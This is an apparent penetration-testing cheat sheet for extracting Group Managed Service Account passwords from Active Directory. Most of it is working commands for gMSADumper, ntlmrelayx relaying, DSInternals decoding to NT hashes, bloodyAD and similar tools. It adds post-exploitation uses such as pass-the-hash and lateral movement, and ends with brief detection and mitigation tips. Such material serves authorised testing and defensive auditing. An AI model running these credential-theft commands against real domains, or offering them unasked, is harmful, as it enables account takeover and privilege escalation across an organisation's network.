Abusing gMSA Password Access in Penetration Testing

Objective: Extract Group Managed Service Account (gMSA) passwords in Active Directory environments when misconfigured permissions exist on the msDS-GroupMSAMembership attribute.

---

Key Requirement: Access to an object with read permissions to the msDS-ManagedPassword attribute of the target gMSA account.

---

Exploitation Conditions:

• Target is a gMSA object.

• Your principal is listed in msDS-GroupMSAMembership DACL.

• You can bind to LDAPS or access the AD remotely.

---

Top Techniques:

1. gMSADumper (Python - UNIX)

• Retrieves gMSA password in cleartext or NT hash.

gMSADumper.py -u 'user' -p 'password' -d 'domain.local'

2. Impacket - ntlmrelayx (Python)

• Relays authentication and dumps gMSA password over LDAPS.

ntlmrelayx.py -t ldaps://<DC_IP> --dump-gmsa

Trigger authentication:

curl http://127.0.0.1/

3. PowerShell + DSInternals (Windows)

• Native method to decode gMSA password blob.

Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity 'gMSA_Name' -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$pwdObj = ConvertFrom-ADManagedPasswordBlob $blob
$pwdObj | Format-List
$pwdObj.SecureCurrentPassword | ConvertTo-NTHash

4. GMSAPasswordReader (C# - Windows)

• Standalone tool to fetch gMSA password.

GMSAPasswordReader.exe --AccountName 'gMSA_Name'

5. bloodyAD (Python - UNIX)

• Reads gMSA password attribute directly.

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p <PASS> get object <TargetDN> --attr msDS-ManagedPassword

6. Validate Group Membership Permissions (PowerShell)

• Check who has access to gMSA password.

Get-ADServiceAccount -Identity 'gMSA_Name' -Properties msDS-GroupMSAMembership | Select-Object -ExpandProperty msDS-GroupMSAMembership

7. Optional: SharpGMSA (C# - Red Team Tool)

• Extract gMSA password from Windows using SharpGMSA.

---

💡 Pro Tip: Often found in lab environments or when gMSAs are over-permissioned for convenience. Deployment scripts may leave excessive permissions—audit regularly.

---

Post-Exploitation Use:

• PTH/Kerberos Auth

• Lateral Movement

• Privilege Escalation

---

Detection & Mitigation:

• Monitor msDS-ManagedPassword access.

• Restrict msDS-GroupMSAMembership DACLs.

• Follow least privilege and rotate gMSA credentials.

---

Summary: Misconfigured gMSA permissions can lead to high-privilege access. Regularly audit gMSA usage and DACLs to reduce risk.

🔥 Use with caution: gMSA password access = potential domain privilege.